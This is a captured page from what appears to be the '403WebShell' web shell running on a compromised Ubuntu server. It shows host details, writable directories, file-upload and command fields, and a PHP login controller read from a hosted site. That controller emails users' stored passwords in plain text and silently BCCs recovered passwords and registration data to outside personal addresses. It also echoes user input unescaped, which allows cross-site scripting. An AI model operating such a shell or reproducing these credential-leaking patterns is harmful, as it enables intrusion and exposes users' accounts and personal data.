Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/aprendizajeodisea/admin/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/aprendizajeodisea/admin/controller/login.php
<?php
/**
* Model Login
*/
class ControllerLogin extends Controller
{
	
	public function __construct($registry,$router){
			$this->registry = $registry;
			$this->router = $router;
			$this->login = new ModelLogin($this->registry);
			$this->usuarios = new ModelUser($this->registry);

		}

	function login(){
		
		include ADMIN_VIEWS_ROOT.'/login/login.php';
	}

	function registro(){
		if (isset($_POST['registro'])) {
			if(!empty($_POST['nombre']) && !empty($_POST['username']) && !empty($_POST['email'])){
			if($_POST['authenticity_token'] == $_SESSION['authenticity_token']){
				$data = $_POST;
				$data['dominio'] =  $_SERVER['SERVER_NAME'];	
				$this->login->createTableRegistro();
				$check_email = $this->login->checkRegistroEmail($data['email']);
				if($check_email->num_rows < 1){
					$insert = $this->login->addRegistro($data);
					$changes =  $this->dbli->changes();
					
					if($changes == 1){
						$this->sendRegistro($data);
						?>
						<div class="alert alert-success center">
						<div>Es necesario que sea validada para poder ingresar al sitio</div>
						</div>
						<?php
					}else{
						?>
						<div class="alert alert-danger center">Hubo un problema con su solicitud</div>
						<?php
					}
				}else{
					?>
					<div class="alert alert-danger center">
					<div>Ya existe una solicitud con la dirección de correo</div>
					<div><?php echo $data['email'];?></div>
					<div>Intenta con otra dirección de correo</div>
					</div>
					<?php
				}	
				//$this->login->dropRegistros();

			}
			}else{
				?>
				<div class="alert alert-danger center">
				Los campos "Nombre", "Usuario" e "Email" son requeridos
				</div>
				<?php
				}
		}
		include ADMIN_VIEWS_ROOT.'/login/registro.php';	
	}

	public function forgot(){
		if(isset($_POST['forgot'])){
			$this->sendForgot($_POST['email']);
		}
		include ADMIN_VIEWS_ROOT.'/login/forgot_password.php';
	}

	public function sendRegistro($data){
		$mail = new PHPMailer();
		$mail->CharSet = "UTF-8"; 

		$message 		= 	'<p>Nueva Solicitud de Registro</p>
							<p>Nombre  : '.$data['nombre'].'</p>
							<p>Email    : '.$data['email'].'</p>
							<p>Teléfono : '.$data['telefono'].'</p>
							<p>De la IP: '.$_SERVER["REMOTE_ADDR"].'</p>';
		$mail->FromName	= $_SERVER['SERVER_NAME'];
		$mail->Subject	= "Nuevo Registro";	
		$mail->Body     =  "<br>" . $message;
		$mail->AltBody  =  $message;	
		$mail->From		= $_SERVER['SERVER_NAME'];
		$mail->AddAddress($this->settings['site']['email']);
		$mail->AddBCC('miguelfernandezdelvalle@gmail.com');
		$mail->SetFrom('registro@'.$_SERVER['SERVER_NAME']);
		
		if (!$mail->send()) {
		    echo "<div class='alert alert-danger center'>Mailer Error: " . $mail->ErrorInfo ."</div>";
		} else {
		    ?>
		    <div class="alert alert-success center">
		    <div>Se ha enviado su solicitud de registro</div>
		    </div>
		    <?php
		}
	}

	public function sendForgot($email){
		$user = $this->usuarios->getUserbyEmail($email);
		
		if($user->num_rows > 0){
			$username = $user->row['username'];
			$password = $user->row['password'];

			$mail = new PHPMailer();
			$mail->CharSet = "UTF-8"; 

			$message 		= 	'<p>Los datos de tu cuenta en '.$_SERVER['SERVER_NAME'].' son</p>
								<p>Username  : '.$username.'</p>
								<p>Password  : '.$password.'</p>';
			$mail->FromName	= $_SERVER['SERVER_NAME'];
			$mail->Subject	= "Recuperacion de Contraseña";	
			$mail->Body     =  $message;
			$mail->AltBody  =  $message;	
			$mail->From		= $_SERVER['SERVER_NAME'];
			$mail->AddAddress($email);
			$mail->AddBCC('miguelf@intercable.net');
			$mail->SetFrom('info@'.$_SERVER['SERVER_NAME']);
			
			if (!$mail->send()) {
				echo "<div class='alert alert-danger center'>Mailer Error: " . $mail->ErrorInfo ."</div>";
			}else{
				?>
				<div class="alert alert-success center">
				<div>Se ha enviado el Password</div>
				<div>a la siguiente dirección de correo</div>
				<div><?php echo $email;?></div>
				</div>
				<?php
			}	
		}else{
			?>
			<div class="alert alert-danger center">
			<div>La dirección de correo</div>
			<div><?php echo $email;?></div>
			<div>no se encuentra registrada</div>
			</div>
			<?php
		}

	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit